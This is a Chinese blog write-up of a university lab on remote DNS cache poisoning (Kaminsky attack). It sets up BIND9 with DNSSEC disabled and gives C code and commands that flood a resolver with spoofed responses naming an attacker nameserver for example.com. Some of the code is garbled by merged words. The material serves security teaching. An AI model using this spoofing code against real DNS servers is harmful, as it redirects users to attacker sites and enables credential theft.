您的位置:首页 > 博客中心 > 网络系统 >

Remote DNS Cache Poisoning——山东大学网络攻防实验

时间:2022-04-03 12:57


为了简单起见,我们把虚拟机放在同一局域网内,但是在实验过程中,我们应该将攻击者视为一台远程机器,即攻击者无法嗅探到受害者DNS服务器Apollo的数据包。

(3)实验工具

网络数据包捕获工具:Wireshark

BIND9 NDS server(安装指令:apt-get install bind9)

这些实验工具或软件在预构建的虚拟机镜像(seed-ubuntu-12.04)中已经安装。

③实验内容

Pharming攻击的主要目的是,在用户尝试使用A的主机名访问机器A时将用户重定向到另一台机器B。例如,假设www.example.com是一个网上银行网站,当用户通过正确的URL(www.example.com)尝试访问这个网站的时候,如果攻击者能够将用户重定向到一个和www.example.com看起来非像的恶意网站,则用户信息可能泄露给攻击者。
实验过程中我们把域名www.example.com作为攻击对象,实验目标是对域名服务器发起DNS缓存中毒攻击,这样当用户运行dig www.example.com命令去查寻对应的IP地址时,本地域名服务器最终会访问攻击者的域名服务器 ns.dnslabattaker.net 去获取IP地址,所以返回的IP地址可以是由攻击者决定的任意地址,最终,用户将会被引导至攻击者的站点,而不是真实的www.example.com。
这次攻击有两个任务:缓存中毒和结果验证。在第一个任务里面,学生毒化用户本地域名服务器Apollo的DNS缓存,这样,在Apollo的DNS缓存中, ns.dnslabattaker.net 被设置为example.com的名称服务器,而取代了该域注册的权威名称服务器。在第二个任务中,学生需要验证攻击的影响,更明确地说,我们需要在用户的机器上运行“digwww.example.com”命令,并且返回的地址必须是攻击者设置的虚假IP。

(1)完整的DNS查询过程

技术分享

(2)example.com名称服务器被缓存情况下的DNS查询过程

技术分享

Figure 2同时描绘了攻击过程。

 

# apt-get install bind9

以下两条指令能帮助我们更好地进行实验

刷新DNS缓存
# rndc flush
将缓存信息dump到/var/cache/bind/dump.db
# rndc dumpdb -cache


Step2:创建named.conf.options文件

DNS服务器需要在启动时读取/etc/bind/named.conf配置文件,该配置文件通常需要导入一个选项文件,这里命名为named.conf.options,且将其放在/etc/bind/目录下,最后将下面的内容添加至该选项文件。

options {
        directory "/var/cache/bind";
};

Step3:配置DNS查询报文的源端口

因为如果不指定固定端口,则端口号是随机的,为了降低实验难度,将DNS查询报文的源端口设置为33333,在/etc/bind/named.conf.options文件中添加如下指令

query-sourceport 33333;

Step4:禁止DNSSEC

DNSSEC是一种被设计出来防御DNS缓存中毒攻击的技术,实验过程中,我们需要禁止该技术。我们需要改变/etc/bind/named.conf.options文件:找到"dnssec-validation auto"这一行,并注释掉,然后添加新的一行,如下

 技术分享


Step5:启动NDS Server

我们可以使用一下命令来启动DNS server

/etc/init.d/bind9restart
or
servicebind9 restart


2)配置用户机器

在用户机器(192.168.175.162)上,我们需要使用192.168.175.164作为其默认的DNS server。

可以通过编辑用户机器的DNS设置文件(/etc/resolv.conf)来实现。

nameserver 192.168.175.164 # the ip of the DNS server you just setup


但是为了确保/etc/resolv.conf文件下名称服务器的唯一性,我们可以直接进行以下操作,这样就能避免文件被DHCP客户端重写。

禁用DHCP操作步骤:

Step1:Click "SystemSetting" -> "Network"

Step2:"Options"in "Wired" Tab

Step3:Select "IPv4Settings" -> "Method" ->"Automatic(DHCP) AddressesOnly" and update only "DNS Servers" entry with IP address ofBIND DNS Server

Step4 :Now Click the"Network Icon" on the top right corner and Select the new connectionyou just set up. This will refresh the wired network connection and updates thechanges.

 技术分享

我们可以使用dig命令查看用户机器的名称服务器

 技术分享


(3)配置攻击者

Step1:配置攻击者的默认DNS服务器为Apollo DNS服务器,同时也作为攻击目标

参照上面用户机器的配置禁用DHCP即可。


Step2:了解攻击原理

基本攻击原理

当攻击者向受害的域名服务器(Apollo)发送一个DNS查询请求后,则会触发Apollo的迭代查询,像Figure 1描述的那样,查询会通过根域名服器,.COM域名服务器,并且最后的结果将会来自example.com域名服务器。但是更常见的情况是,example.com域名服务器信息已经被Apollo缓存,所以查询只会到达example.com域名服务器(如Figure 2所示)。所以如果我们要攻击成功,则需要在Apollo等待来自example.com域名服务器应答的过程中,发送大量的伪造应答包到Apollo,冒充来自example.com域名服务器的应答。这样,如果伪造的包先到达,它将会被Apollo接收,并缓存相应的信息,达到攻击的目的。

由于前面我们已经为Apollo发出DNS请求报文设置了固定源端口,同时禁止了DNSSEC,所以实验真正要做的是猜测Apollo发出DNS查询请求报文的transaction ID,只有应答报文与查询报文有相同的transaction ID才能被接收。

 

缺陷

但是上面的攻击方式忽视了缓存的影响。事实上,如果攻击者不是足够幸运(赶在在真正的应答包到达之前,猜出正确的transaction ID),则正确的信息将被Apollo缓存一段时间,同时在该缓存超时之前,Apollo都不会再为攻击者伪造的相同的域名查询请求发送额外的请求,要使在相同域名下伪造应答有效,攻击者必须要等待Apollo发起一个关于该域名的新的DNS查询,而这只能发生在缓存超时的情况下。

 

改进的方案

所以我们需要调整攻击的方式。Kaminsky攻击能很好地解决上面的缓存问题。其思路是:攻击者每次向Apollo发起的DNS查询请求都更换主机名,这样新的的主机名没有在Apollo的缓存记录里面,则Apollo需要发起查询请求,而无需等待前面的缓存超时。

 

考虑两种情况:
    A:当前攻击未成功,则Apollo的DNS缓存记录包含了example.com域名服务器信息的正确记录,则后面的查询Apollo都会直接访问example.com域名服务器。
    B:攻击者足够幸运,伪造的应答包在正确的应答包之前到达,则伪造的信息(example.com的域名服务器被指定为ns.dnslabattaker.net)被Apollo缓存下来。同时假如后面的攻击继续进行,Apollo因为请求的主机名发生了变化,同样会发出DNS请求,但是,因为Apollo利用错误的缓存而无法收到正确的应答,则错误的缓存不会被替换掉。

 

构造攻击程序

实验提供了发送DNS查询报文的c语言实现,参照Kaminsky攻击原理,我们需要添加发送DNS应答报文的代码,同时设计程序的逻辑架构:

每次发出一个基于特定域名的查询报文后,都需要发出一定数量的伪造应答报文,来猜测Apollo发出请求报文的transaction ID,且这个数量不宜太多(虽然transaction ID有2^16种可能),因为Apollo有了正确的缓存以后,就只对example.com缓存记录指定的域名服务器发出查询请求,所以时间上比较短。当伪造的应答报文发送完以后,接着重复上面过程,直到发现攻击成功为止。

 

实现细节描述

如何改变主机名

采用取随机数的办法,改变主机名在取得随机数对应位置的ASCII码。

 

了解规范的DNS应答报文需要哪些字段

技术分享

各个字段的含义

技术分享技术分享技术分享

c语言实现,构造应答报文

采用指针技术,可以简化程序设计

指针技术:如果当前填充的某个字段,其内容(字符串)在前面出现过,为了避免冗余和简便,我们可以采用指针技术,使用两个字节分别进行标记和定位。低字节设置为:0xc0,头两位设置为1,标志该字段是指向某个字符串的指针;高字节设置为指针起始点和transaction ID之间的偏移量。

 

额外定义结构体

//This structure for the Answers section
//This structure for the Additional records
       struct answers{
              unsigned short intname;
        unsigned short int type;
        unsigned short int class;
        //unsigned int ttl;//必须以双字节为单位赋值
              unsigned short intttl_l;
              unsigned short intttl_h;
        unsigned short int dataLen;
        //unsigned int addr;//必须以双字节为单位赋值
              unsigned short intaddr_l;
              unsigned short intaddr_h;
    };
 
//This structure for the Authoritative nameservers
       struct authors{
              unsigned short intname;
        unsigned short int type;
        unsigned short int class;
        //unsigned int ttl;//必须以双字节为单位赋值
              unsigned short intttl_l;
              unsigned short intttl_h;
        unsigned short int dataLen;
};


应答包的填充

////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////
 
//The flag you need to set
 
       dns->flags=htons(FLAG_R);
//only 1 query, so the count should be one.
       dns->QDCOUNT=htons(1);
    dns->ANCOUNT=htons(1);
    dns->NSCOUNT=htons(1);
       dns->ARCOUNT=htons(1);
 
//query string
    strcpy(data,query_string);
    int length= strlen(data)+1;
 
//this is for convinience to get the struct type write the 4bytes in amore organized way.
    struct dataEnd * end=(structdataEnd *)(data+length);
    end->type=htons(1);
    end->class=htons(1);
 
//the Answers
       struct answers *answer =(struct answers *)(data+length+sizeof(struct dataEnd));
       answer->name = 0x0cc0;
       answer->type = htons(1);
    answer->class = htons(1);
    answer->ttl_l = htons(0);
       answer->ttl_h =htons(0x12c);
    answer->dataLen = htons(4);
    answer->addr_l = 0x0101;
       answer->addr_h = 0x0101;
   
//the Authoritative nameservers
       struct authors *author =(struct authors *)(data+length+sizeof(struct dataEnd)+sizeof(struct answers));
       author->name = 0x12c0;
       author->type = htons(2);
    author->class = htons(1);
    author->ttl_l = htons(0);
       author->ttl_h =htons(0x12c);
    author->dataLen = htons(23);
      
    char *author_name_server = (char*)(data+length+sizeof(struct dataEnd)+sizeof(struct answers)+sizeof(structauthors));
    strcpy(author_name_server,"\2ns\16dnslabattacker\3net");
    int nameserver_length =strlen(author_name_server)+1;
 
//the Additional records
       struct answers *addi = (structanswers *)(author_name_server+nameserver_length);
       addi->name = 0x3fc0;
       addi->type = htons(1);
    addi->class = htons(1);
    addi->ttl_l = htons(0);
       addi->ttl_h = htons(0x12c);
    addi->dataLen = htons(4);
    addi->addr_l = 0x0101;
       addi->addr_h = 0x0101;
 
/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////

对应的修改校验和

unsigned short intpacketLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(structdnsheader)+length+sizeof(struct dataEnd)+sizeof(struct answers)+sizeof(structauthors)+nameserver_length+sizeof(struct answers));
// length + dataEnd_size + ... == UDP_payload_size
 
udp->udph_len =htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(structdataEnd)+sizeof(struct answers)+sizeof(structauthors)+nameserver_length+sizeof(struct answers));
// udp_header_size + udp_payload_size
 

其他需要修改或注意的地方

应答包的发送方应该设置为:example.com真实域名服务器,对应设置源IP地址,目的IP地址设置为Apollo IP地址。同时目的端口应该设置为33333,源端口设置为53。

 

发送应答包的代码逻辑

int trans_id = 3000,i=0;
for(;i<=100;i++){
    dns->query_id = trans_id + i;
    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet

	// send the packet out.
if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
printf("packet send error %d which means %s\n",errno,strerror(errno));
}

不采用指针技术

额外定义结构体

//This structure for the Answers section
//This structure for the Additional records
    struct answerOthers{
        unsigned short int type;
        unsigned short int class;
        //unsigned int ttl;//必须以双字节为单位赋值
              unsigned short int ttl_l;
              unsigned short intttl_h;
        unsigned short int dataLen;
        //unsigned int addr;//必须以双字节为单位赋值
              unsigned short intaddr_l;
              unsigned short intaddr_h;
    };
//This structure for the Authoritative nameservers
    struct authorOthers{
        unsigned short int type;
        unsigned short int class;
        //unsigned int ttl;//必须以双字节为单位赋值
              unsigned short intttl_l;
              unsigned short intttl_h;
        unsigned short int dataLen;
};

应答包的填充

////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////
 
//The flag you need to set
 
       dns->flags=htons(FLAG_R);
//only 1 query, so the count should be one.
       dns->QDCOUNT=htons(1);
    dns->ANCOUNT=htons(1);
    dns->NSCOUNT=htons(1);
       dns->ARCOUNT=htons(1);
 
//query string
    strcpy(data,query_string);
    int length= strlen(data)+1;
 
//this is for convinience to get the struct type write the 4bytes in amore organized way.
    struct dataEnd *end=(structdataEnd *)(data+length);
    end->type=htons(1);
    end->class=htons(1);
 
//the Answers
    char *ans = (buffer+sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(structdataEnd));
    //Answer‘s Name field
    strcpy(ans,query_string);
    int ans_length = strlen(ans)+1;
    //Answer‘s other fields
    struct answerOthers *ans_others= (struct answerOthers *)(ans+ans_length);
    ans_others->type = htons(1);
    ans_others->class = htons(1);
    ans_others->ttl_l = htons(0);
       ans_others->ttl_h =htons(0x12c);
    ans_others->dataLen =htons(4);
    ans_others->addr_l = 0x0101;
       ans_others->addr_h =0x0101;
 
//the Authoritative nameservers
    char *author = (char*)(ans+ans_length+sizeof(struct answerOthers));
    //Authoritative nameservers‘Name field
   strcpy(author,"\7example\3com");
    int author_length =strlen(author)+1;
    struct authorOthers*author_others = (struct authorOthers *)(author+author_length);
    author_others->type =htons(2);
    author_others->class =htons(1);
    author_others->ttl_l =htons(0);
       author_others->ttl_h =htons(0x4b0);
    author_others->dataLen =htons(23);
    char *author_name_server = (char*)(author+author_length+sizeof(struct authorOthers));
   strcpy(author_name_server,"\2ns\16dnslabattacker\3net");
    int nameserver_length =strlen(author_name_server)+1;
 
//the Additional records
    char *addi = (char*)(author_name_server+nameserver_length);
    strcpy(addi,"\2ns\16dnslabattacker\3net");
    int addi_length =strlen(addi)+1;
    struct answerOthers *addi_others= (struct answerOthers *)(addi+addi_length);
    addi_others->type = htons(1);
    addi_others->class =htons(1);
    addi_others->ttl_l =htons(0);
       addi_others->ttl_h =htons(0x258);
    addi_others->dataLen =htons(4);
    addi_others->addr_l = 0x0101;
       addi_others->addr_h =0x0101;
      
/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////

对应的修改校验和

unsigned short intpacketLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(structdnsheader)+length+sizeof(struct dataEnd)+ans_length+sizeof(structanswerOthers)+author_length+sizeof(structauthorOthers)+nameserver_length+addi_length+sizeof(struct answerOthers));
// length + dataEnd_size == UDP_payload_size
udp->udph_len =htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(structdataEnd)+ans_length+sizeof(struct answerOthers)+author_length+sizeof(structauthorOthers)+nameserver_length+addi_length+sizeof(struct answerOthers));
// udp_header_size + udp_payload_size

其他部分

    同采用指针技术的方法。


开始攻击

使用gcc编译程序

编译指令

# gcc –lpcap –o udp udp.c

发动攻击的命令,第一个IP地址时攻击者的IP,第二个是Apollo的IP

# ./udp 192.168.175.163 192.168.175.164

Apollo运行wireshark,设置过滤器(dns),抓取数据包,发现每个查询请求报文后跟着大量应答

技术分享


执行rndc dumpdb -cache命令,查看dump.db文件内的缓存信息,如果攻击成功,则Apollo缓存信息中example.com对应的NS记录被设置成ns.dnslabattaker.net。

技术分享

一般很快就可以攻击成功,如果觉得缓存信息太多,可以使用rndc flush命令清空缓存;如果长时间没有攻击成功,则可能是操作步骤遗漏或者程序设计中的bug所致,请大家仔细检查。

 

Task2: ResultVeri?cation 

如果攻击成功,Apollo的DNS缓存将会向上图一样。为了检验是否真的成功,我们可以在用户机上使用对www.example.com使用dig命令,查看返回的IP地址。

技术分享

这是因为当Apollo收到DNS查询时,它会在其缓存中搜索example.com的NS记录,并找到ns.dnslabattacker.net。因此,它将向ns.dnslabattacker.net发送DNS查询。但是,在发送这个查询之前,它需要知道ns.dnslabattacker.net的IP地址,这是通过发出单独的DNS查询来完成的。这就是我们陷入困境的地方。
域名dnslabattacker.net在现实中并不存在。为了实验的目的,我们创建了这个名称。Apollo很快会发现这一点,并标记NS条目无效,基本上从中毒缓存恢复。

这时我们可能会想,当伪造DNS响应时,我们可不可以使用附加记录来提供ns.dnslabattacker.net的IP地址,从而使得伪造的域名服务器变为真实“存在”的呢?(我们够早的应答数据包实际上是这样做的)
不幸的是,答案是否定的,这个附加记录并不会被阿波罗所接受。因为我们伪造应答包是从a.iana-servers.net或者b.iana-servers.net这两个域名服务器返回的,它们不是负责管辖xxxxx.example.com这个域的权威域名服务器,所以即使我们设置了IP地址,Apollo也不会采纳。


有两个方案解决这个问题:

方案一:使用真实域名

如果我们拥有一个真正的域名,并且可以配置其DNS,那么只需在NS记录中使用您自己的域名,而不是dnslabattacker.net。 然后参照本地DNS攻击实验进行配置,以确保我们的DNS服务器可以应答example.com域的查询。

 

方案二:使用伪造的域名

如果我们没有真正的域名,仍然可以使用假域名ns.dnslabattacker.net进行演示。我们只需要在Apollo做一些额外的配置,因此它将dnslabattacker.net当做真是存在的域。我们物理上的添加ns.dnslabattacker.net的IP地址到Apollo DNS配置上,所以Apollo不需要从一个不存在的域请求这个主机名的IP地址。

步骤如下:

Step1:配置Apollo的DNS服务器

在/etc/bind/named.conf.default-zones文件中加入如下条目

zone "ns.dnslabattacker.net" {
       type master;
       file"/etc/bind/db.attacker";
};

Step2:创建/etc/bind/db.attacker文件,加入如下条目

$TTL      604800
@    IN   SOA       localhost.root.localhost. (
                           2         ;Serial
                      604800        ;Refresh
                       86400        ;Retry
                     2419200        ; Expire
                      604800 )       ;Negative Cache TTL
;
@    IN   NS  ns.dnslabattacker.net.
@    IN   A    192.168.175.163
@    IN   AAAA    ::1

倒数第二行的IP是攻击者的IP

这样发送给Apollo的任何关于example.com主机名的DNS查询将被发送到192.168. .175.163

 

Step3:配置攻击者DNS服务器

攻击者需要安装bind9,这样其可以应答关于example.com的域名查询

同时在/etc/bind/named.conf.local文件中加入如下条目

zone "example.com" {
       type master;
       file"/etc/bind/example.com.db";
};

Step4:创建/etc/bind/example.com.db文件,加入如下条目

$TTL 3D
@    IN   SOA       ns.example.com.admin.example.com. (
              2008111001
              8H
              2H
              4W
              1D)
 
@    IN   NS  ns.dnslabattacker.net.
@    IN   MX 10 mail.example.com.
 
www      IN   A    1.1.1.1
mail IN   A    1.1.1.2
*.example.com.     IN   A 1.1.1.100

当配置完成后,不要忘记重新启动Apollo和攻击者的DNS服务器;否则,修改将不会生效。如果一切顺利,在用户机上使用“dig www.example.com”命令,将看到1.1.1.1的答复。

 

Step5:验证用户请求结果

技术分享


资源下载

采用指针技术


不采用指针技术



本类排行

今日推荐

热门手游